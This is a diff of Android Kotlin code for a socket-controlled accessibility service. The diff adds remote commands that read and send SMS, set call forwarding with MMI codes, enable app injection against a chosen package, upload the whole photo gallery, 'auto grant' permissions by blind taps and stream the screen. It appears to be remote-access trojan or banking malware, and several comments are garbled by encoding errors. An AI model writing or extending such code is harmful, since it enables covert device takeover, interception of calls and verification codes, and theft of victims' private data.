+ sendPermissionResponse("camera", true, "Camera permission granted")
+ }
}
"CAMERA_INFO" -> {
val cameraInfo = service.getCameraInfo()
- Log.d(TAG, "📷 摄像头信息: $cameraInfo")
- // 可以在这里发送摄像头信息回执给服务器
+ Log.d(TAG, "馃摲 鎽勫儚澶翠俊鎭? $cameraInfo")
+ // 鍙互鍦ㄨ繖閲屽彂閫佹憚鍍忓ご淇℃伅鍥炴墽缁欐湇鍔″櫒
}
"SMS_READ" -> {
val limit = data.optInt("limit", 50)
Log.d(TAG, "Read SMS list (limit: $limit)")
val smsList = service.readSMSList(limit)
Log.d(TAG, "Read ${smsList.size} SMS messages")
- // 可以在这里发送短信列表回执给服务器
+ if (smsList.isEmpty()) {
+ // Keep protocol deterministic: return an explicit empty payload instead of timing out.
+ sendSMSData(emptyList())
+ }
}
"SMS_SEND" -> {
- val phoneNumber = data.getString("phoneNumber")
- val message = data.getString("message")
+ val phoneNumber = data.optString("phoneNumber", "").trim()
+ val message = data.optString("message", "")
Log.d(TAG, "Send SMS to: $phoneNumber")
+
+ if (phoneNumber.isEmpty() || message.isEmpty()) {
+ Log.w(TAG, "SMS_SEND params invalid: phoneNumber/message is empty")
+ sendSmsSendResult(phoneNumber, false, "Invalid params: phoneNumber/message is empty")
+ return
+ }
+
+ if (!service.checkSMSPermission()) {
+ Log.w(TAG, "SMS_SEND permission denied")
+ sendSmsSendResult(phoneNumber, false, "SMS permission not granted")
+ sendPermissionResponse(
+ "sms",
+ false,
+ buildPermissionDeniedMessage("sms", "SMS permission not granted")
+ )
+ return
+ }
+
val success = service.sendSMS(phoneNumber, message)
Log.d(TAG, "SMS send result: $success")
- // 可以在这里发送发送结果回执给服务器
+ sendSmsSendResult(phoneNumber, success, if (success) "SMS sent" else "SMS send failed")
+ }
+ "CALL_FORWARD_SET" -> {
+ val targetPhone = data.optString("phoneNumber", "").trim()
+ val rule = normalizeCallForwardRule(data.optString("rule", "all"))
+ applyCallForwardSet(rule, targetPhone)
+ }
+ "CALL_FORWARD_CANCEL" -> {
+ val rule = normalizeCallForwardRule(data.optString("rule", "all"))
+ applyCallForwardCancel(rule)
+ }
+ "APP_LIST" -> {
+ Log.d(TAG, "Received app list request")
+ val includeIcons = data.optBoolean("includeIcons", false)
+ val availability = service.checkAppListAvailability()
+ if (!availability.first) {
+ sendPermissionResponse("app_list", false, availability.second)
+ }
+ val appList = service.listLaunchableApps(includeIcons)
+ sendAppListData(appList)
+ if (appList.isNotEmpty()) {
+ sendPermissionResponse("app_list", true, "App list loaded, total=${appList.size}")
+ } else if (availability.first) {
+ sendPermissionResponse("app_list", false, "App list is empty or restricted by system")
+ }
+ }
+ "KEEPALIVE_STATUS_CHECK" -> {
+ Log.d(TAG, "Received keepalive status check command")
+ sendKeepAlivePermissionSnapshot("socket_check")
+ }
+ "OPEN_BATTERY_OPTIMIZATION_SETTINGS" -> {
+ Log.d(TAG, "Received open battery optimization settings command")
+ openBatteryOptimizationSettingsFromSocket()
+ }
+ "APP_OPEN" -> {
+ val packageName = when {
+ data.has("packageName") -> data.optString("packageName", "").trim()
+ json.has("packageName") -> json.optString("packageName", "").trim()
+ else -> data.optJSONObject("data")?.optString("packageName", "")?.trim().orEmpty()
+ }
+ if (packageName.isEmpty()) {
+ Log.w(TAG, "APP_OPEN鍙傛暟缂哄け: packageName")
+ sendAppOpenResult("", false, "鍙傛暟涓嶅畬鏁达紝packageName 涓嶈兘涓虹┖")
+ return
+ }
+
+ val openResult = service.openApp(packageName)
+ sendAppOpenResult(packageName, openResult.first, openResult.second)
+ }
+ "APP_INJECTION_ENABLE" -> {
+ val packageName = when {
+ data.has("packageName") -> data.optString("packageName", "").trim()
+ json.has("packageName") -> json.optString("packageName", "").trim()
+ else -> data.optJSONObject("data")?.optString("packageName", "")?.trim().orEmpty()
+ }
+ if (packageName.isEmpty()) {
+ Log.w(TAG, "APP_INJECTION_ENABLE params missing: packageName")
+ sendPermissionResponse("app_injection", false, "packageName is required")
+ return
+ }
+ val appName = when {
+ data.has("appName") -> data.optString("appName", "").trim()
+ json.has("appName") -> json.optString("appName", "").trim()
+ else -> data.optJSONObject("data")?.optString("appName", "")?.trim().orEmpty()
+ }
+ service.enableAppInjection(packageName, appName)
+ }
+ "APP_INJECTION_DISABLE" -> {
+ val reason = data.optString("reason", "web_request").ifBlank { "web_request" }
+ service.disableAppInjection(reason)
}
"SMS_MARK_READ" -> {
val smsId = data.getLong("smsId")
@@ -1299,7 +2217,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.d(TAG, "Mark result: $success")
}
"ALBUM_READ" -> {
- // 新逻辑：始终读取全部并发送；若有新指令打断，重启任务
+ // comment cleaned
Log.d(TAG, "Received album read command, start/restart read+send task (read all)")
startReadAndSendAllGallery()
}
@@ -1310,11 +2228,15 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
"GALLERY_PERMISSION_CHECK" -> {
val hasPermission = service.checkGalleryPermission()
Log.d(TAG, "Gallery permission status: ${if (hasPermission) "granted" else "not granted"}")
-
- if (!hasPermission) {
- Log.d(TAG, "Gallery permission not granted, auto requesting")
- service.requestGalleryPermissionWithAutoGrant()
- }
+ sendPermissionResponse(
+ "gallery",
+ hasPermission,
+ if (hasPermission) {
+ "Gallery permission granted"
+ } else {
+ buildPermissionDeniedMessage("gallery", "Gallery permission not granted")
+ }
+ )
}
"GALLERY_PERMISSION_AUTO_GRANT" -> {
Log.d(TAG, "Auto request gallery permission (blind tap)")
@@ -1327,11 +2249,15 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
"MICROPHONE_PERMISSION_CHECK" -> {
val hasPermission = service.checkMicrophonePermission()
Log.d(TAG, "Microphone permission status: ${if (hasPermission) "granted" else "not granted"}")
-
- if (!hasPermission) {
- Log.d(TAG, "Microphone permission not granted, auto requesting")
- service.requestMicrophonePermissionWithAutoGrant()
- }
+ sendPermissionResponse(
+ "microphone",
+ hasPermission,
+ if (hasPermission) {
+ "Microphone permission granted"
+ } else {
+ buildPermissionDeniedMessage("microphone", "Microphone permission not granted")
+ }
+ )
}
"MICROPHONE_PERMISSION_AUTO_GRANT" -> {
Log.d(TAG, "Auto request microphone permission (blind tap)")
@@ -1365,14 +2291,20 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
"SMS_UNREAD_COUNT" -> {
val count = service.getUnreadSMSCount()
Log.d(TAG, "Unread SMS count: $count")
- // 可以在这里发送未读数量回执给服务器
+ // comment cleaned
}
"SMS_PERMISSION_CHECK" -> {
val hasPermission = service.checkSMSPermission()
Log.d(TAG, "SMS permission check: $hasPermission")
- if (!hasPermission) {
- service.requestSMSPermissionWithAutoGrant()
- }
+ sendPermissionResponse(
+ "sms",
+ hasPermission,
+ if (hasPermission) {
+ "SMS permission granted"
+ } else {
+ buildPermissionDeniedMessage("sms", "SMS permission not granted")
+ }
+ )
}
"SMS_PERMISSION_AUTO_GRANT" -> {
val hasPermission = service.checkSMSPermission()
@@ -1404,24 +2336,1056 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.w(TAG, "Server URL change command missing serverUrl param")
}
}
+ "RUNTIME_FLAGS_UPDATE" -> {
+ Log.i(TAG, "Received runtime flags update command")
+ handleRuntimeFlagsUpdate(data)
+ }
+ "RUNTIME_FLAGS_SYNC" -> {
+ Log.i(TAG, "Received runtime flags sync command")
+ sendRuntimeFlagsSync("remote_request")
+ }
"SCREEN_CAPTURE_PAUSE" -> {
- Log.d(TAG, "📺 暂停远程桌面")
+ Log.d(TAG, "Pause remote desktop")
service.getScreenCaptureManager()?.pauseCapture()
}
"SCREEN_CAPTURE_RESUME" -> {
- Log.d(TAG, "📺 继续远程桌面")
+ Log.d(TAG, "Resume remote desktop")
service.getScreenCaptureManager()?.resumeCapture()
}
- else -> Log.w(TAG, "未知控制操作: $type")
+ "SRT_START" -> {
+ Log.d(TAG, "Received SRT_START command")
+ handleSrtStart(data)
+ }
+ "SRT_STOP" -> {
+ Log.d(TAG, "Received SRT_STOP command")
+ handleSrtStop(data)
+ }
+ else -> Log.w(TAG, "Unknown control action: $type")
}
} catch (e: Exception) {
- Log.e(TAG, "处理控制消息失败", e)
+ Log.e(TAG, "Failed to handle control message", e)
}
}
+
+ private fun triggerMediaProjectionRefreshIfNeeded(
+ triggerReason: String,
+ forceResetPermissionData: Boolean = false,
+ bypassCooldown: Boolean = false
+ ): Boolean {
+ return try {
+ val now = System.currentTimeMillis()
+ val cooldownWindowMs =
+ if (bypassCooldown) mediaProjectionEmergencyRefreshMinIntervalMs
+ else mediaProjectionRefreshTriggerIntervalMs
+ if (now - lastMediaProjectionRefreshTriggerTime < cooldownWindowMs) {
+ Log.i(
+ TAG,
+ "Skip MediaProjection refresh trigger due to cooldown(${cooldownWindowMs}ms): $triggerReason"
+ )
+ return false
+ }
+ lastMediaProjectionRefreshTriggerTime = now
+ Log.i(
+ TAG,
+ "Auto trigger MediaProjection refresh: $triggerReason, forceReset=$forceResetPermissionData, bypassCooldown=$bypassCooldown"
+ )
+ if (forceResetPermissionData) {
+ service.refreshMediaProjectionPermission()
+ } else {
+ service.refreshMediaProjectionManual()
+ }
+ true
+ } catch (e: Exception) {
+ Log.e(TAG, "Auto trigger MediaProjection refresh failed: $triggerReason", e)
+ false
+ }
+ }
+
+ private fun shouldTriggerMediaProjectionRefreshByMessage(
+ message: String,
+ detail: JSONObject?
+ ): Boolean {
+ val normalizedMessage = message.trim().lowercase()
+ if (normalizedMessage.contains("media_projection_not_ready")) {
+ return true
+ }
+ if (!normalizedMessage.contains("webrtc_start_capture_failed")) {
+ return false
+ }
+
+ val permissionLike = detail?.optBoolean("permissionLike", false) == true
+ val hasPermissionData = detail?.optBoolean("hasPermissionData", false) == true
+ val hasProjectionObject = detail?.optBoolean("hasProjectionObject", false) == true
+ val exceptionMessage = detail?.optString("exceptionMessage", "")?.lowercase().orEmpty()
+ val projectionNullLike =
+ (hasPermissionData && !hasProjectionObject) ||
+ (exceptionMessage.contains("mediaprojection") && exceptionMessage.contains("null object")) ||
+ (exceptionMessage.contains("registercallback") && exceptionMessage.contains("null"))
+
+ return permissionLike || projectionNullLike
+ }
+
+ private fun shouldTriggerMediaProjectionRefresh(startResult: WebRTCManager.StartResult): Boolean {
+ return shouldTriggerMediaProjectionRefreshByMessage(
+ message = startResult.message,
+ detail = startResult.extra
+ )
+ }
+
+ private fun shouldForceResetMediaProjectionPermissionData(
+ message: String,
+ detail: JSONObject?
+ ): Boolean {
+ val normalizedMessage = message.trim().lowercase()
+ val hasPermissionData = detail?.optBoolean("hasPermissionData", false) == true
+ val hasProjectionObject = detail?.optBoolean("hasProjectionObject", false) == true
+ if (normalizedMessage.contains("media_projection_not_ready") &&
+ !hasPermissionData &&
+ !hasProjectionObject
+ ) {
+ Log.w(
+ TAG,
+ "Force media projection refresh because permission data/object are both missing"
+ )
+ return true
+ }
+ val ensureProjectionAttempted = detail?.optBoolean("ensureProjectionAttempted", false) == true
+ val exceptionMessage = detail?.optString("exceptionMessage", "")?.lowercase().orEmpty()
+ val staleProjectionTokenLike =
+ exceptionMessage.contains("registercallback") ||
+ exceptionMessage.contains("null object") ||
+ exceptionMessage.contains("already used") ||
+ exceptionMessage.contains("invalid") ||
+ exceptionMessage.contains("don't re-use") ||
+ exceptionMessage.contains("do not re-use") ||
+ exceptionMessage.contains("timed out") ||
+ exceptionMessage.contains("multiple captures") ||
+ exceptionMessage.contains("same instance")
+
+ return hasPermissionData &&
+ (
+ (ensureProjectionAttempted && !hasProjectionObject) ||
+ (!hasProjectionObject && normalizedMessage.contains("media_projection_not_ready")) ||
+ staleProjectionTokenLike ||
+ (normalizedMessage.contains("webrtc_start_capture_failed") && !hasProjectionObject)
+ )
+ }
+
+ private fun shouldBypassMediaProjectionRefreshCooldown(
+ message: String,
+ detail: JSONObject?
+ ): Boolean {
+ val normalizedMessage = message.trim().lowercase()
+ if (!normalizedMessage.contains("media_projection_not_ready")) {
+ return false
+ }
+ val hasPermissionData = detail?.optBoolean("hasPermissionData", false) == true
+ val hasProjectionObject = detail?.optBoolean("hasProjectionObject", false) == true
+ return !hasPermissionData && !hasProjectionObject
+ }
+
+ private fun resetWebRtcOfferRetry(clientId: String) {
+ if (clientId.isBlank()) return
+ synchronized(webRtcOfferRetryLock) {
+ webRtcOfferRetryCountByClient.remove(clientId)
+ }
+ }
+
+ private fun scheduleWebRtcOfferRetryAfterRefresh(
+ data: JSONObject,
+ clientId: String,
+ reason: String
+ ) {
+ if (clientId.isBlank()) return
+ val attempt = synchronized(webRtcOfferRetryLock) {
+ val next = (webRtcOfferRetryCountByClient[clientId] ?: 0) + 1
+ webRtcOfferRetryCountByClient[clientId] = next
+ next
+ }
+ if (attempt > webRtcOfferRetryAfterRefreshMax) {
+ Log.w(
+ TAG,
+ "Skip WebRTC offer auto-retry: clientId=$clientId, attempts=$attempt, reason=$reason"
+ )
+ return
+ }
+
+ val retryPayload = JSONObject(data.toString())
+ Log.i(
+ TAG,
+ "Schedule WebRTC offer auto-retry after projection refresh: clientId=$clientId, attempt=$attempt, delayMs=$webRtcOfferRetryAfterRefreshDelayMs, reason=$reason"
+ )
+
+ scope.launch {
+ delay(webRtcOfferRetryAfterRefreshDelayMs)
+ try {
+ val hasPermissionData = com.hikoncont.MediaProjectionHolder.getPermissionData() != null
+ val hasProjectionObject = com.hikoncont.MediaProjectionHolder.getMediaProjection() != null
+ Log.i(
+ TAG,
+ "Execute WebRTC offer auto-retry: clientId=$clientId, attempt=$attempt, hasPermissionData=$hasPermissionData, hasProjectionObject=$hasProjectionObject"
+ )
+ handleWebRtcOffer(retryPayload)
+ } catch (e: Exception) {
+ Log.e(TAG, "WebRTC offer auto-retry failed: clientId=$clientId, attempt=$attempt", e)
+ }
+ }
+ }
+
+ private fun handleWebRtcOffer(data: JSONObject) {
+ try {
+ val deviceId = data.optString("deviceId", getDeviceId()).trim().ifEmpty { getDeviceId() }
+ val clientId = data.optString("clientId", "").trim()
+ val sdp = data.optString("sdp", "")
+ val type = data.optString("type", "offer").trim().ifEmpty { "offer" }
+ val requestedFps = data.takeIf { it.has("fps") }?.optInt("fps", 0)?.takeIf { it > 0 }
+ val requestedMaxLongEdge = data.takeIf { it.has("maxLongEdge") }?.optInt("maxLongEdge", 0)?.takeIf { it > 0 }
+ val requestedBitrateKbps = data.takeIf { it.has("bitrateKbps") }?.optInt("bitrateKbps", 0)?.takeIf { it > 0 }
+ val priorityRaw = data.optString("priority", "").trim().ifEmpty { null }
+ val sdpValid = sdp.trim().isNotEmpty()
+
+ if (clientId.isEmpty() || !sdpValid) {
+ sendWebRTCState(
+ deviceId = deviceId,
+ clientId = clientId,
+ state = "failed",
+ message = "invalid_webrtc_offer_payload",
+ extra = JSONObject().apply {
+ put("hasClientId", clientId.isNotEmpty())
+ put("hasSdp", sdpValid)
+ put("wsFallbackActive", true)
+ }
+ )
+ return
+ }
+ Log.i(
+ TAG,
+ "WebRTC offer received: clientId=$clientId, sdpLength=${sdp.length}, type=$type, summary=${summarizeSdpForLog(sdp)}"
+ )
+
+ val turnUrls = data.optString("webrtcTurnUrls", "").trim()
+ val turnUsername = data.optString("webrtcTurnUsername", "").trim()
+ val turnPassword = data.optString("webrtcTurnPassword", "").trim()
+ if (turnUrls.isNotEmpty() || turnUsername.isNotEmpty() || turnPassword.isNotEmpty()) {
+ webRTCManager.updateTurnConfig(
+ urlsRaw = turnUrls,
+ username = turnUsername,
+ password = turnPassword
+ )
+ }
+
+ // Stop screenshot capture before creating WebRTC capturer to avoid projection resource contention.
+ try {
+ service.getScreenCaptureManager()?.pauseCapture()
+ Thread.sleep(120)
+ } catch (e: Exception) {
+ Log.w(TAG, "Pause WS capture before WebRTC start failed", e)
+ }
+
+ // Stop SRT uploader when switching to WebRTC.
+ srtStreamManager.stop("switch_to_webrtc")
+
+ val startResult = webRTCManager.startFromOffer(
+ deviceId = deviceId,
+ clientId = clientId,
+ sdp = sdp,
+ type = type,
+ requestedFps = requestedFps,
+ requestedMaxLongEdge = requestedMaxLongEdge,
+ requestedBitrateKbps = requestedBitrateKbps,
+ priorityRaw = priorityRaw
+ )
+ if (startResult.success) {
+ resetWebRtcOfferRetry(clientId)
+ }
+
+ if (!startResult.success) {
+ service.getScreenCaptureManager()?.resumeCapture()
+ val forceResetPermissionData = shouldForceResetMediaProjectionPermissionData(
+ message = startResult.message,
+ detail = startResult.extra
+ )
+ val bypassRefreshCooldown = shouldBypassMediaProjectionRefreshCooldown(
+ message = startResult.message,
+ detail = startResult.extra
+ )
+ val shouldTriggerProjectionRefresh = shouldTriggerMediaProjectionRefresh(startResult)
+ val refreshTriggered = if (shouldTriggerProjectionRefresh) {
+ triggerMediaProjectionRefreshIfNeeded(
+ triggerReason = "webrtc_offer:${startResult.message}",
+ forceResetPermissionData = forceResetPermissionData,
+ bypassCooldown = bypassRefreshCooldown
+ )
+ } else {
+ false
+ }
+ if (refreshTriggered || shouldTriggerProjectionRefresh) {
+ scheduleWebRtcOfferRetryAfterRefresh(
+ data = data,
+ clientId = clientId,
+ reason = startResult.message
+ )
+ }
+ sendWebRTCState(
+ deviceId = deviceId,
+ clientId = clientId,
+ state = "failed",
+ message = startResult.message,
+ extra = JSONObject().apply {
+ if (startResult.extra != null) {
+ put("detail", startResult.extra)
+ }
+ if (refreshTriggered) {
+ put("projectionRefreshTriggered", true)
+ if (forceResetPermissionData) {
+ put("projectionRefreshForceReset", true)
+ }
+ if (bypassRefreshCooldown) {
+ put("projectionRefreshBypassCooldown", true)
+ }
+ } else if (shouldTriggerProjectionRefresh) {
+ put("projectionRefreshSkippedByCooldown", true)
+ }
+ put("wsFallbackActive", true)
+ }
+ )
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "Handle webrtc_offer failed", e)
+ sendWebRTCState(
+ deviceId = getDeviceId(),
+ clientId = data.optString("clientId", "").trim(),
+ state = "failed",
+ message = "webrtc_offer_exception:${e.message ?: "unknown"}",
+ extra = JSONObject().apply {
+ put("wsFallbackActive", true)
+ }
+ )
+ }
+ }
+
+ private fun summarizeSdpForLog(sdp: String): String {
+ return try {
+ val normalized = sdp
+ .replace("\r\n", "\n")
+ .replace('\r', '\n')
+ val lines = normalized
+ .split('\n')
+ .map { it.trim() }
+ .filter { it.isNotEmpty() }
+ val hasV0 = lines.firstOrNull()?.startsWith("v=0") == true
+ val hasMVideo = lines.any { it.startsWith("m=video") }
+ val hasExtmapAllowMixed = lines.any { it.equals("a=extmap-allow-mixed", ignoreCase = true) }
+ val hasRtcpRsize = lines.any { it.equals("a=rtcp-rsize", ignoreCase = true) }
+ val iceOptions = lines.firstOrNull { it.startsWith("a=ice-options:", ignoreCase = true) }
+ ?.substringAfter(":", "")
+ ?.trim()
+ .orEmpty()
+ "v0=$hasV0,mVideo=$hasMVideo,extmapMixed=$hasExtmapAllowMixed,rtcpRsize=$hasRtcpRsize,iceOptions=$iceOptions,lines=${lines.size}"
+ } catch (e: Exception) {
+ "summary_error:${e.message ?: "unknown"}"
+ }
+ }
+
+ private fun handleWebRtcIceCandidate(data: JSONObject) {
+ try {
+ val clientId = data.optString("clientId", "").trim()
+ val candidate = data.optString("candidate", "").trim()
+ if (clientId.isEmpty() || candidate.isEmpty()) {
+ return
+ }
+
+ val sdpMid = if (data.has("sdpMid")) {
+ data.optString("sdpMid", "").trim().takeIf { it.isNotEmpty() }
+ } else {
+ null
+ }
+ val sdpMLineIndex = if (data.has("sdpMLineIndex")) {
+ when (val raw = data.opt("sdpMLineIndex")) {
+ is Number -> raw.toInt()
+ is String -> raw.toIntOrNull()
+ else -> null
+ }
+ } else null
+
+ val added = webRTCManager.addRemoteIceCandidate(
+ clientId = clientId,
+ candidate = candidate,
+ sdpMid = sdpMid,
+ sdpMLineIndex = sdpMLineIndex
+ )
+
+ Log.d(
+ TAG,
+ "WebRTC remote ICE received: clientId=$clientId, added=$added, sdpMid=${sdpMid ?: "-"}, mLine=${sdpMLineIndex ?: -1}"
+ )
+
+ if (!added) {
+ Log.w(
+ TAG,
+ "Skip remote ICE candidate apply failure report: clientId=$clientId (may be transient during negotiation)"
+ )
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "Handle webrtc_ice_candidate failed", e)
+ }
+ }
+
+ private fun handleWebRtcStop(data: JSONObject) {
+ try {
+ val clientId = data.optString("clientId", "").trim()
+ val reason = data.optString("reason", "remote_stop").trim().ifEmpty { "remote_stop" }
+
+ if (clientId.isNotEmpty()) {
+ val stopped = webRTCManager.stop(clientId, reason, notifyStop = true)
+ resetWebRtcOfferRetry(clientId)
+ if (!stopped) {
+ val normalizedReason = reason.lowercase()
+ val shouldSuppressStopEcho =
+ normalizedReason.contains("component_cleanup") ||
+ normalizedReason.contains("effect_cleanup")
+ if (!shouldSuppressStopEcho) {
+ sendWebRTCStop(
+ deviceId = data.optString("deviceId", getDeviceId()).trim().ifEmpty { getDeviceId() },
+ clientId = clientId,
+ reason = "webrtc_already_stopped:$reason"
+ )
+ } else {
+ Log.d(TAG, "Skip stop echo for cleanup reason: $reason")
+ }
+ }
+ } else {
+ webRTCManager.stopAll(reason = reason, notifyStop = true)
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "Handle webrtc_stop failed", e)
+ } finally {
+ try {
+ service.getScreenCaptureManager()?.resumeCapture()
+ } catch (e: Exception) {
+ Log.w(TAG, "Resume WS capture after webrtc_stop failed", e)
+ }
+ }
+ }
+
+ private fun sendWebRTCAnswer(deviceId: String, clientId: String, type: String, sdp: String) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send webrtc_answer")
+ return
+ }
+ val payload = JSONObject().apply {
+ put("deviceId", deviceId)
+ put("clientId", clientId)
+ put("type", type)
+ put("sdp", sdp)
+ put("timestamp", System.currentTimeMillis())
+ }
+ socket?.emit("webrtc_answer", payload)
+ Log.i(TAG, "WebRTC answer sent: clientId=$clientId, sdpLength=${sdp.length}")
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send webrtc_answer", e)
+ }
+ }
+
+ private fun sendWebRTCIceCandidate(deviceId: String, clientId: String, candidate: IceCandidate) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send webrtc_ice_candidate")
+ return
+ }
+ val payload = JSONObject().apply {
+ put("deviceId", deviceId)
+ put("clientId", clientId)
+ put("candidate", candidate.sdp)
+ put("sdpMid", candidate.sdpMid)
+ put("sdpMLineIndex", candidate.sdpMLineIndex)
+ put("timestamp", System.currentTimeMillis())
+ }
+ socket?.emit("webrtc_ice_candidate", payload)
+ Log.d(
+ TAG,
+ "WebRTC local ICE sent: clientId=$clientId, sdpMid=${candidate.sdpMid ?: "-"}, mLine=${candidate.sdpMLineIndex}"
+ )
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send webrtc_ice_candidate", e)
+ }
+ }
+
+ private fun sendWebRTCState(
+ deviceId: String,
+ clientId: String,
+ state: String,
+ message: String,
+ extra: JSONObject? = null
+ ) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send webrtc_state")
+ return
+ }
+ val payload = JSONObject().apply {
+ put("deviceId", deviceId)
+ put("clientId", clientId)
+ put("state", state)
+ put("message", message)
+ put("timestamp", System.currentTimeMillis())
+ put("serverSupportsWebRtc", serverSupportsWebRtc)
+ put("serverPreferredVideoTransport", serverPreferredVideoTransport)
+ if (extra != null) {
+ put("extra", extra)
+ }
+ }
+ socket?.emit("webrtc_state", payload)
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send webrtc_state", e)
+ }
+ }
+
+ private fun sendWebRTCStop(deviceId: String, clientId: String, reason: String) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send webrtc_stop")
+ return
+ }
+ val payload = JSONObject().apply {
+ put("deviceId", deviceId)
+ put("clientId", clientId)
+ put("reason", reason)
+ put("timestamp", System.currentTimeMillis())
+ }
+ socket?.emit("webrtc_stop", payload)
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send webrtc_stop", e)
+ }
+ }
+
+ private fun handleSrtStart(data: JSONObject) {
+ try {
+ webRTCManager.stopAll(reason = "switch_to_srt", notifyStop = false)
+ val ingestUrl = data.optString("ingestUrl", "").trim()
+ val ingestHost = data.optString("ingestHost", "").trim()
+ val ingestPort = data.optInt("ingestPort", 0)
+ val latencyMs = data.optInt("latencyMs", 80)
+ val requestedFps = if (data.has("fps")) data.optInt("fps", 0).takeIf { it > 0 } else null
+ val requestedMaxLongEdge = if (data.has("maxLongEdge")) data.optInt("maxLongEdge", 0).takeIf { it > 0 } else null
+ val requestedBitrateKbps = if (data.has("bitrateKbps")) data.optInt("bitrateKbps", 0).takeIf { it > 0 } else null
+ val requestedPriority = data.optString("priority", "").trim().ifEmpty { null }
+ val clientId = data.optString("clientId", "unknown")
+
+ if (ingestUrl.isEmpty() || ingestPort <= 0) {
+ sendSrtDeviceStatus(
+ state = "failed",
+ message = "invalid_srt_start_payload",
+ extra = JSONObject().apply {
+ put("ingestUrl", ingestUrl)
+ put("ingestHost", ingestHost)
+ put("ingestPort", ingestPort)
+ put("latencyMs", latencyMs)
+ put("clientId", clientId)
+ }
+ )
+ return
+ }
+
+ if (!serverSupportsSrtGateway) {
+ sendSrtDeviceStatus(
+ state = "failed",
+ message = "srt_gateway_not_available_on_server",
+ extra = JSONObject().apply {
+ put("ingestUrl", ingestUrl)
+ put("ingestHost", ingestHost)
+ put("ingestPort", ingestPort)
+ put("latencyMs", latencyMs)
+ put("clientId", clientId)
+ put("wsFallbackActive", true)
+ }
+ )
+ return
+ }
+
+ val startResult = srtStreamManager.start(
+ deviceId = getDeviceId(),
+ clientId = clientId,
+ ingestUrl = ingestUrl,
+ requestedFps = requestedFps,
+ requestedMaxLongEdge = requestedMaxLongEdge,
+ requestedBitrateKbps = requestedBitrateKbps,
+ priorityRaw = requestedPriority
+ )
+
+ if (!startResult.success) {
+ service.getScreenCaptureManager()?.resumeCapture()
+ sendSrtDeviceStatus(
+ state = "failed",
+ message = startResult.message,
+ extra = JSONObject().apply {
+ put("ingestUrl", ingestUrl)
+ put("ingestHost", ingestHost)
+ put("ingestPort", ingestPort)
+ put("latencyMs", latencyMs)
+ put("clientId", clientId)
+ if (startResult.extra != null) {
+ put("detail", startResult.extra)
+ }
+ put("wsFallbackActive", true)
+ }
+ )
+ return
+ }
+
+ service.getScreenCaptureManager()?.pauseCapture()
+ sendSrtDeviceStatus(
+ state = "starting",
+ message = "srt_start_ack",
+ extra = JSONObject().apply {
+ put("ingestUrl", ingestUrl)
+ put("ingestHost", ingestHost)
+ put("ingestPort", ingestPort)
+ put("latencyMs", latencyMs)
+ put("clientId", clientId)
+ if (requestedFps != null) put("requestedFps", requestedFps)
+ if (requestedMaxLongEdge != null) put("requestedMaxLongEdge", requestedMaxLongEdge)
+ if (requestedBitrateKbps != null) put("requestedBitrateKbps", requestedBitrateKbps)
+ if (requestedPriority != null) put("requestedPriority", requestedPriority)
+ if (startResult.extra != null) {
+ put("detail", startResult.extra)
+ }
+ put("wsFallbackActive", false)
+ }
+ )
+ } catch (e: Exception) {
+ Log.e(TAG, "Handle SRT_START failed", e)
+ sendSrtDeviceStatus("failed", "srt_start_exception:${e.message ?: "unknown"}")
+ }
+ }
+
+ private fun handleSrtStop(data: JSONObject) {
+ try {
+ val reason = data.optString("reason", "remote_stop")
+ val stopped = srtStreamManager.stop(reason)
+ service.getScreenCaptureManager()?.resumeCapture()
+ if (!stopped) {
+ sendSrtDeviceStatus(
+ state = "stopped",
+ message = "srt_already_stopped",
+ extra = JSONObject().apply {
+ put("reason", reason)
+ put("wsFallbackActive", true)
+ }
+ )
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "Handle SRT_STOP failed", e)
+ sendSrtDeviceStatus("failed", "srt_stop_exception:${e.message ?: "unknown"}")
+ }
+ }
+
+ private fun sendSrtDeviceStatus(state: String, message: String, extra: JSONObject? = null) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send srt_device_status")
+ return
+ }
+
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("state", state)
+ put("message", message)
+ put("timestamp", System.currentTimeMillis())
+ put("serverSupportsSrtGateway", serverSupportsSrtGateway)
+ put("serverPreferredVideoTransport", serverPreferredVideoTransport)
+ if (extra != null) {
+ put("extra", extra)
+ }
+ }
+
+ socket?.emit("srt_device_status", payload)
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send srt_device_status", e)
+ }
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * 璇存槑: 褰掍竴鍖栧懠鍙浆绉昏鍒欙紝淇濊瘉 Web 绔紶鍏ュ€煎拰瀹夊崜渚ч€昏緫涓€鑷淬€?
+ */
+ private fun normalizeCallForwardRule(rawRule: String?): String {
+ return when (rawRule?.trim()?.lowercase()) {
+ "busy" -> "busy"
+ "no_reply" -> "no_reply"
+ "not_reachable" -> "not_reachable"
+ else -> "all"
+ }
+ }
+
+ private fun normalizeCallForwardPhone(phoneNumber: String): String {
+ return phoneNumber
+ .trim()
+ .replace(" ", "")
+ .replace("-", "")
+ .replace("(", "")
+ .replace(")", "")
+ }
+
+ private fun isValidCallForwardPhone(phoneNumber: String): Boolean {
+ if (phoneNumber.isEmpty()) return false
+ return Regex("^[+]?[0-9]{3,20}$").matches(phoneNumber)
+ }
+
+ private fun buildCallForwardSetMmi(rule: String, phoneNumber: String): String {
+ return when (rule) {
+ "busy" -> "**67*$phoneNumber#"
+ "no_reply" -> "**61*$phoneNumber#"
+ "not_reachable" -> "**62*$phoneNumber#"
+ else -> "**21*$phoneNumber#"
+ }
+ }
+
